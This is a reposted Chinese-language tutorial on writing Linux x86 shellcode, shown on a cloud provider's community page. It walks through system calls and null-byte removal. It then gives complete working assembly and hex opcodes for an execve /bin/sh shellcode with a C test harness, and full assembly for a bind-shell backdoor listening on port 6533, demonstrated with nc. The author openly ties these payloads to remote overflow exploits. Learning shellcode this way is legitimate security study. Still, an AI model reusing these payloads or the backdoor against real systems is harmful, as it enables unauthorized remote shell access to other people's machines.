Linux shellcode 編寫入門 )

來源:互聯網
上載者:User
刺蝟@http://blog.csdn.net/littlehedgehog

無意當中在安全焦點上面看到的,很入門的一篇文章,不錯:

原文地址:

http://www.xfocus.net/articles/200805/980.html

一:什麼是shellcode

  話說某天某愛國駭客編譯了一個Nday溢出利用程式來攻擊CNN,輸入IP並且enter之後發現目標伺服器沒有反應,於是拿出sniffer抓包分析...“Oh ,my dog!居然沒有帶shellcode!”為什麼 shellcode對於一個exploit來說這麼重要呢?Shellcode到底是什麼東西呢?
  簡單的說,Shellcode是一段能夠完成某種特定功能的二進位代碼。具體完成什麼任務是由攻擊者決定的,可能是開啟一個新的shell或者下載某個特定的程式也或者向攻擊者返回一個shell等等。
  因為shellcode將會直接操作寄存器和一些系統調用,所以對於shellcode的編寫基本上是用進階語言編寫一段程式然後編譯,反組譯碼從而得到16進位的作業碼,當然也可以直接寫彙編然後從二進位檔案中提取出16進位的作業碼。
  接下來就一起來解開shellcode的神秘面紗吧~

二:Linux系統調用
  為什麼編寫shellcode需要瞭解系統調用呢?因為系統調用是 使用者態和核心態之間的一座橋樑。大多數作業系統都提供了很多應用程式可以訪問到的核心函數,shellcode當然也需要調用這些 核心函數。Linux系統提供的核心函數可以方便的實現用來訪問檔案,執行命令,網路通訊等等功能。這些函數就被成為系統調用(System Call)。
  想知道系統上到底有哪些系統調用可以用,直接查看核心代碼即可得到。Linux的系統調用在以下檔案中定義:/usr/include/asm-i386 /unistd.h,該檔案包含了系統中每個可用的系統調用的定義,內容大概如下:
  #ifndef _ASM_I386_UNISTD_H_ 
#define _ASM_I386_UNISTD_H_ 

/* 
* This file contains the system call numbers. 
*/ 

#define __NR_restart_syscall 0 
#define __NR_exit 1 
#define __NR_fork 2 
#define __NR_read 3 
#define __NR_write 4 
#define __NR_open 5 
#define __NR_close 6 
#define __NR_waitpid 7 
#define __NR_creat 8 
#define __NR_link 9 
#define __NR_unlink 10 
#define __NR_execve 11 
#define __NR_chdir 12 
#define __NR_time 13 
#define __NR_mknod 14 
#define __NR_chmod 15 
.
.
.
.
每個系統調用都有一個名稱和相對應的系統調用號組成,由於該檔案很長就不一一列出了。知道了linux系統調用是什麼樣子,下面就來瞭解下如何使用這些系統調用。啟動一個系統調用需要使用int指令,linux系統調用位於中斷0x80。當執行一個int 0x80指令後,發出一個非強制中斷,強制核心停止當前工作來處理中斷。核心首先檢查傳入參數的正確性,然後將下面寄存器的值複製到核心的記憶體空間,接下來參照中斷描述符表(IDT)來處理中斷。系統調用完成以後,繼續執行int指令後的下一條指令。
  系統調用號是確定一個系統調用的關鍵數字,在執行int指令之前,它應當被傳入EAX寄存器中,確定了一個系統調用號之後就要考慮給該系統調用傳遞什麼參數來完成什麼樣的功能。存放參數的寄存器有5個,他們是EBX,ECX,EDX,ESI和EDI,這五個寄存器順序的存放傳入的系統調用參數。需要超過6個輸入參數的系統調用使用不同的方法把參數傳遞給系統調用。EBX寄存器用於保護指向輸入參數的記憶體位置的指標,輸入參數按照連續的順序儲存。系統調用使用這個指標訪問記憶體位置以便讀取參數。
  為了更好的說明一個系統調用的使用全過程,我們來看一個例子,這個例子中調用了write系統調用來將hello,syscall寫入到終端,並最終調用exit系統調用安全退出。
代碼如下:
.section .data 
output: 
  .ascii "hello,syscall!!!!/n" 
output_end: 
  .equ len,output_end - output 
.section .text 
.globl _start 
_start: 
  movl $4,%eax #define __NR_write 4
  movl $1,%ebx 
  movl $output,%ecx 
  movl $len,%edx 
  int $0x80 
  movl $1,%eax 
  movl $0,%ebx 
  int $0x80 
編譯該程式,並查看運行結果:
pr0cess@pr0cess:~$ as -o syscall.o syscall.s 
pr0cess@pr0cess:~$ ld -o syscall syscall.o 
pr0cess@pr0cess:~$ ./syscall 
hello,syscall!!!! 
可以看到hello,syscall被寫入到終端。那麼這個過程是怎麼實現的呢?首先程式定義了一個字串hello,syscall!!!!和字串的長度len,接下來將write系統調用號寫入到eax寄存器中,接著write系統調用的第一個參數需要一個檔案描述符fd,linux包含3種檔案描述符0[STDIN]:終端裝置的標準輸入;1[STDOUT]:終端裝置的標準輸出;2[STDERR]:終端裝置的標準錯誤輸出。我們這裡把fd的值設定為1,就是輸入到螢幕上,因此把運算元1賦值給EBX寄存器。write系統調用的第二個參數是要寫入字串的指標,這裡需要一個記憶體位址,因此我們通過movl $output,%ecx把output指向的實際記憶體位址存放在 ECX寄存器中。write系統調用的第三個參數是寫入字串的長度,按照順序的參數傳遞方式,我們把len傳遞到EDX寄存器中,接著執行int $0x80非強制中斷來執行write系統調用。下一步執行了一個exit(0) 操作,將exit系統調用號1傳遞給EAX寄存器,將參數0傳遞給EBX寄存器,然後執行int $0x80來執行系統調用,實現程式的退出。
  為了更清晰的驗證我們的系統調用確實被執行了,可以通過strace來查看二進位代碼的運行情況,結果如下:
pr0cess@pr0cess:~$ strace ./syscall 
execve("./syscall", ["./syscall"], [/* 34 vars */]) = 0 
write(1, "hello,syscall!!!!/n", 18hello,syscall!!!! 
) = 18 
_exit(0)  
通過返回的結果我們可以清楚的看到剛才syscall程式都執行了哪些系統調用,以及每個系統調用都傳遞了什麼參數進去。
  已經瞭解了系統調用的實現過程,讓我們離shellcode更進一步吧。

三:第一個shellcode
  最初當shellcode這個名詞來臨的時候,目的只是獲得一個新的shell,在那時已經是一件很美妙的事情,接下來我們就來實現如何獲得一個新的shell來完成我們第一個shellcode的編寫。這裡需要注意的一個基本的關鍵的地方就是在shellcode中不能出現/x00也就是NULL字元,當出現NULL字元的時候將會導致shellcode被截斷,從而無法完成其應有的功能,這確實是一個讓人頭疼的問題。那麼有什麼解決辦法呢?我們先來抽取上個例子syscall中的16進位機器碼來看看有沒有出現/x00截斷符:
pr0cess@pr0cess:~$ objdump -d ./syscall 

./syscall: file format elf32-i386 

Disassembly of section .text: 

08048074 <_start>: 
8048074: b8 04 00 00 00 mov $0x4,%eax 
8048079: bb 01 00 00 00 mov $0x1,%ebx 
804807e: b9 98 90 04 08 mov $0x8049098,%ecx 
8048083: ba 12 00 00 00 mov $0x12,%edx 
8048088: cd 80 int $0x80 
804808a: b8 01 00 00 00 mov $0x1,%eax 
804808f: bb 00 00 00 00 mov $0x0,%ebx 
8048094: cd 80 int $0x80 
pr0cess@pr0cess:~$ 
噢!!!這個SB的程式在
8048074: b8 04 00 00 00 mov $0x4,%eax
這裡就已經被00截斷了,完全不能用於shellcode,只能作為一般的組譯工具運行。現在來分析下為什麼會出現這種情況。現看這兩段代碼:
  movl $4,%eax 
  movl $1,%ebx
這兩條指令使用的是32位(4位元組)的寄存器EAX和EBX,而我們卻只分別賦值了1個位元組到寄存器中,所以系統會用NULL字元(00)來填充剩下的位元組空間,從而導致shellcode被截斷。知道了原因就可以找到很好的解決方案了,一個EAX寄存器是32位,32位寄存器也可以通過16位或者8位的名稱引用,我們通過AX寄存器來訪問第一個16位的地區(低16位),繼續通過對AL的引用EAX寄存器的低8位被使用,AH使用AL後的高8位。
EAX寄存器的構成如下:
EAX寄存器
31 15 7 0
  AH
AL
AX
在syscall的例子中運算元$4和$1二進位都只佔8位,所以只需要把這兩個運算元賦值給AL就可以了,這樣就避免了使用EAX寄存器時,系統用NULL填充其他空間。
我們來修改一下代碼看看,把
  movl $4,%eax 
  movl $1,%ebx
改為
  mov $4,%al 
  mov $1,%bl
再重新編譯串連syscall程式,並且查看一下objdump的結果:
pr0cess@pr0cess:~$ ./syscall 
hello,syscall!!!! 
pr0cess@pr0cess:~$ objdump -d ./syscall 

./syscall: file format elf32-i386 

Disassembly of section .text: 

08048074 <_start>: 
8048074: b0 04 mov $0x4,%al 
8048076: b3 01 mov $0x1,%bl 
8048078: b9 90 90 04 08 mov $0x8049090,%ecx 
804807d: ba 12 00 00 00 mov $0x12,%edx 
8048082: cd 80 int $0x80 
8048084: b8 01 00 00 00 mov $0x1,%eax 
8048089: bb 00 00 00 00 mov $0x0,%ebx 
804808e: cd 80 int $0x80 
pr0cess@pr0cess:~$ 
看到了,已經成功的把 NULL字元給去掉了,同理可以把下面語句都改寫一遍,這樣就可以使這個程式作為shellcode運行了。
下面我們就來編寫第一個有實際意義的shellcode,它將開啟一個新的shell。當然,這在本地是沒有什麼意義,可是當它作為一個遠程溢出在目標機器上開啟shell的時候,那作用可就不能小視了。開啟一個新的shell我們需要用到execve系統調用,先來看看man手冊裡是怎麼定義這個函數的:
NAME 
  execve - execute program 

SYNOPSIS 
  #include <unistd.h> 

  int execve(const char *filename, char *const argv[], 
  char *const envp[]); 
可以看到execve系統調用需要3個參數,為了說明怎麼使用先來寫一個簡單的C程式來調用execve函數:
#include <stdio.h> 
int main() 

  char *sc[2]; 
  sc[0]="/bin/sh"; 
  sc[1]= NULL; 
  execve(sc[0],sc,NULL); 

通過execve執行一個/bin/sh從而獲得一個新的shell,編譯來看下結果:
pr0cess@pr0cess:~$ gcc -o newshell newshell.c 
pr0cess@pr0cess:~$ ./newshell 
$ exit 
pr0cess@pr0cess:~$ 
新shell已經成功的誕生了!!
為了編寫execve的shellcode我們用彙編實現一下以上C程式的功能,代碼如下:
.section .text 
.globl _start 
_start: 
  xorl %eax,%eax 
  pushl %eax 
  pushl $0x68732f6e 
  pushl $0x69622f2f 
  movl %esp,%ebx 
  pushl %eax 
  pushl %ebx 
  movl %esp,%ecx 
  movb $0xb,%al 
  int $0x80
來解釋一下這段代碼,首先為了避免mov賦值帶來的00,用一個異或操作來把EAX寄存器清空
xorl %eax,%eax 
接著將4位元組的NULL壓棧
pushl %eax
將/bin//sh壓棧,保持對齊,第一個參數
pushl $0x68732f6e 
pushl $0x69622f2f
將/bin//sh存放到EBX寄存器,第2個參數
movl %esp,%ebx 
壓4位元組的NULL,第3個參數,環境變數為 NULL
pushl %eax 
將EBX壓棧
pushl %ebx 
把EBX地址存入ECX寄存器
movl %esp,%ecx 
將execve系統調用號11(0xb)壓入AL寄存器,消00
movb $0xb,%al
調用int指令進入中斷
int $0x80
OK,現在來測試一下這個程式是否能給我們帶來一個新的shell
pr0cess@pr0cess:~$ as -o exec.o exec.s 
pr0cess@pr0cess:~$ ld -o exec exec.o 
pr0cess@pr0cess:~$ ./exec 
$ exit 
pr0cess@pr0cess:~$ 
HOHO~~成功執行了!!接著來提取16進位機器碼
pr0cess@pr0cess:~$ objdump -d ./exec 

./exec: file format elf32-i386 

Disassembly of section .text: 

08048054 <_start>: 
8048054: 31 c0 xor %eax,%eax 
8048056: 50 push %eax 
8048057: 68 6e 2f 73 68 push $0x68732f6e 
804805c: 68 2f 2f 62 69 push $0x69622f2f 
8048061: 89 e3 mov %esp,%ebx 
8048063: 50 push %eax 
8048064: 53 push %ebx 
8048065: 89 e1 mov %esp,%ecx 
8048067: b0 0b mov $0xb,%al 
8048069: cd 80 int $0x80 
pr0cess@pr0cess:~$ 
放到一個C程式中來完成整個shellcode的編寫測試吧
/*
*linux/x86 execve("/bin//sh/",["/bin//sh"],NULL) shellcode 23bytes
*xuanmumu@gmail.com
*/
pr0cess@pr0cess:~$ objdump -d exec

exec: file format elf32-i386

Disassembly of section .text:

08048054 <_start>:
8048054: 31 c0 xor %eax,%eax
8048056: 50 push %eax
8048057: 68 6e 2f 73 68 push $0x68732f6e
804805c: 68 2f 2f 62 69 push $0x69622f2f
8048061: 89 e3 mov %esp,%ebx
8048063: 50 push %eax
8048064: 53 push %ebx
8048065: 89 e1 mov %esp,%ecx
8048067: b0 0b mov $0xb,%al
8048069: cd 80 int $0x80
pr0cess@pr0cess:~$

char sc[] =
  "/x31/xc0"
  "/x50"
  "/x68/x6e/x2f/x73/x68"
  "/x68/x2f/x2f/x62/x69"
  "/x89/xe3"
  "/x50"
  "/x53"
  "/x89/xe1"
  "/xb0/x0b"
  "/xcd/x80"
;
int main()
{
  void (*fp)(void) = (void (*)(void))sc;

  printf("Length: %d/n",strlen(sc));
  fp();
}
pr0cess@pr0cess:~$ gcc -o execve execve.c 
pr0cess@pr0cess:~$ ./execve 
Length: 23 
$ exit 
pr0cess@pr0cess:~$ 
成功了!我們編寫了第一個linux下的shellcode,並且能順利工作了。稍微休息一下,下一節帶來一個更cool的bindshell功能的shellcode~~
四:綁定連接埠的shellcode
  根據上一節所說的,本地開啟一個新的shell在面對遠程目標時就不是那麼有用了,這時我們需要在遠程目標上開啟一個可互動的shell,這樣對我們更有協助,等於直接獲得了一個進入遠程系統的後門,這就是連接埠綁定shellcode。
  寫到這裡就需要一些網路編程的知識了,這裡不再詳細講解如何進行網路編程,只是大概說一下一個bindshell後門程式的編寫過程:
  首先要建立一個socket
  server=socket(2,1,0)
  建立一個sockaddr_in結構,包含IP和連接埠資訊
  將連接埠和IP邦定到socket  
  bind()
  開啟連接埠監聽該socket
  listen()
  當有串連時向用戶端返回一個控制代碼
  accept()
  將返回的控制代碼複製到STDIN,STDOUT,STDERR 
  dup2()
  調用execve執行/bin/sh
  看了這些過程可能有些迷茫,下面我給出一個以前我些的bindshell.c後門程式,可以很清晰的看到一個bindshell是如何?的:http://www.bugshower.org/xbind.c
  通過對一個連接埠綁定後門C程式的分析已經瞭解了整個實現過程,為了更方便的提取shellcode我們需要用彙編來改寫這個程式。這裡一個新的系統調用將被使用,這就是socketcall系統調用,這個系統調用號是102。先來看一下man裡面關於這個系統調用的參數資訊:
NAME 
  socketcall - socket system calls 

SYNOPSIS 
  int socketcall(int call, unsigned long *args); 
該系統調用需要兩個參數,第一個參數是一個整數值,存放在EBX寄存器中,對於一個bindshell我們只需要用到4個數值,分別是:
SYS_SOCKET 1
SYS_BIND 2
SYS_LISTEN 4
SYS_ACCEPT 5
第二個參數是一個指標,指向一個參數數組,把它存在ECX寄存器中。
現在所有準備工作都已經就緒,開始用彙編編寫一個bindshell後門吧~代碼和注釋如下:
#xuanmumu@gmail.com&process@cnbct.org 
# bindshell.s --bindport on 6533 
.section .text 
.global _start 
_start: 
#清空各寄存器
xor %eax,%eax 
xor %ebx,%ebx 
xor %ecx,%ecx 

#socket(2,1,0)建立一個TCP串連,注意位元組序。
push %eax #壓入第3個參數 0
push $0x1 #壓入第2個參數 1
push $0x2 #壓入第1個參數 2
mov %esp,%ecx #將ECX裡的數組地址作為socketcall系統調用的第2個參數
inc %bl #bl=0+1,作為socketcall的第一個參數,調用socket函數
movb $0x66,%al #調用socketcall,0x66=102
int $0x80 #中斷
mov %eax,%esi 將返回控制代碼儲存在ESI中

#bind()
push %edx #EDX壓棧作為結束符 
push $0x8519FF02 #0x8519=6533,sin.family=02,FF任意位元組填充
mov %esp,%ecx #將ESP地址賦值給ECX 
push $0x10 #開始bind的參數,0x10壓棧
push %ecx #儲存地址
push %esi #把前面的控制代碼壓棧
mov %esp,%ecx #繼續把數組地址作為socketcall調用的第2個參數
inc %bl #bl=1+1=2=SYS_BIND
mov $0x66,%al #調用socketcall
int $0x80 #中斷

#listen()
push %edx #EDX壓棧,作為結束符
push %esi #控制代碼壓棧,作為listen的參數
mov %esp,%ecx #將數組地址設為socketcall的第2個參數
mov $0x4,%bl #bl=4=SYS_LISTEN 
mov $0x66,%al #執行socketcall系統調用
int $0x80 #中斷

#accept()
push %edx #參數0
push %edx #參數0
push %esi #控制代碼壓棧
mov %esp,%ecx #將數組設為系統調用第2個參數
inc %bl #bl=4+1=SYS_ACCEPT  
mov $0x66,%al #執行系統調用
int $0x80 #中斷

#dup2()
mov %eax,%ebx #將accept返回的控制代碼複製到EBX
xor %ecx,%ecx #清空
mov $0x3f,%al #dup2系統調用,0x3f=63
int $0x80 #中斷
inc %ecx #1
mov $0x3f,%al 
int $0x80 
inc %ecx #2
mov $0x3f,%al 
int $0x80 

#之前熟悉的execve調用,開啟一個新的shell
push %edx 
push $0x68732f2f 
push $0x6e69622f 
mov %esp,%ebx 
push %edx 
push %ebx 
mov %esp ,%ecx 
mov $0xb,%al 
int $0x80 
  呵..現在可以休息一下了,終於完成了這個噁心的程式的編寫工作,測試一下是否能正常工作吧~
pr0cess@pr0cess:~$ as -o bindshell.o bindshell.s 
pr0cess@pr0cess:~$ ld -o bindshell bindshell.o 
pr0cess@pr0cess:~$ ./bindshell 
再新開一個終端去串連,順利的話我們應該能在6533連接埠得到一個shell的~
pr0cess@pr0cess:~$ netstat -an |grep "6533" 
tcp 0 0 0.0.0.0:6533 0.0.0.0:* LISTEN  
pr0cess@pr0cess:~$ nc 192.168.12.211 6533 
uname -a 
Linux pr0cess 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux 
exit 
pr0cess@pr0cess:~$ 
啊哈~美妙的shell出現了,程式順利的完成它的工作,它可以去死了,我們來提取shellcode吧:
pr0cess@pr0cess:~$ objdump -d ./bindshell 

./bindshell: file format elf32-i386 

Disassembly of section .text: 

08048054 <_start>: 
8048054: 31 c0 xor %eax,%eax 
8048056: 31 db xor %ebx,%ebx 
8048058: 31 c9 xor %ecx,%ecx 
804805a: 50 push %eax 
804805b: 6a 01 push $0x1 
804805d: 6a 02 push $0x2 
804805f: 89 e1 mov %esp,%ecx 
8048061: fe c3 inc %bl 
8048063: b0 66 mov $0x66,%al 
8048065: cd 80 int $0x80 
8048067: 89 c6 mov %eax,%esi 
8048069: 52 push %edx 
804806a: 68 02 ff 19 85 push $0x8519ff02 
804806f: 89 e1 mov %esp,%ecx 
8048071: 6a 10 push $0x10 
8048073: 51 push %ecx 
8048074: 56 push %esi 
8048075: 89 e1 mov %esp,%ecx 
8048077: fe c3 inc %bl 
8048079: b0 66 mov $0x66,%al 
804807b: cd 80 int $0x80 
804807d: 52 push %edx 
804807e: 56 push %esi 
804807f: 89 e1 mov %esp,%ecx 
8048081: b3 04 mov $0x4,%bl 
8048083: b0 66 mov $0x66,%al 
8048085: cd 80 int $0x80 
8048087: 52 push %edx 
8048088: 52 push %edx 
8048089: 56 push %esi 
804808a: 89 e1 mov %esp,%ecx 
804808c: fe c3 inc %bl 
804808e: b0 66 mov $0x66,%al 
8048090: cd 80 int $0x80 
8048092: 89 c3 mov %eax,%ebx 
8048094: 31 c9 xor %ecx,%ecx 
8048096: b0 3f mov $0x3f,%al 
8048098: cd 80 int $0x80 
804809a: 41 inc %ecx 
804809b: b0 3f mov $0x3f,%al 
804809d: cd 80 int $0x80 
804809f: 41 inc %ecx 
80480a0: b0 3f mov $0x3f,%al 
80480a2: cd 80 int $0x80 
80480a4: 52 push %edx 
80480a5: 68 2f 2f 73 68 push $0x68732f2f 
80480aa: 68 2f 62 69 6e push $0x6e69622f 
80480af: 89 e3 mov %esp,%ebx 
80480b1: 52 push %edx 
80480b2: 53 push %ebx 
80480b3: 89 e1 mov %esp,%ecx 
80480b5: b0 0b mov $0xb,%al 
80480b7: cd 80 int $0x80 
pr0cess@pr0cess:~$ 
檢查了一下,機器碼中沒有出現00,可以放心的提取作為shellcode使用。具體的提取過程之前已經介紹過,也給出了相應的C程式模板,這裡就不再重複工作了。

五:總結
  本文沒有什麼高深的技術,沒有華麗的技巧,淺入淺出的介紹了基本的linuxshellcode的編寫過程,順利完成了科普的目的。

  Have a fun~

 /*-------------------------------------
Author:旋木木[xuanmumu@gmail.com]
Date:2008/05/12
Website:www.bugshower.org
--------------------------------------*/

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.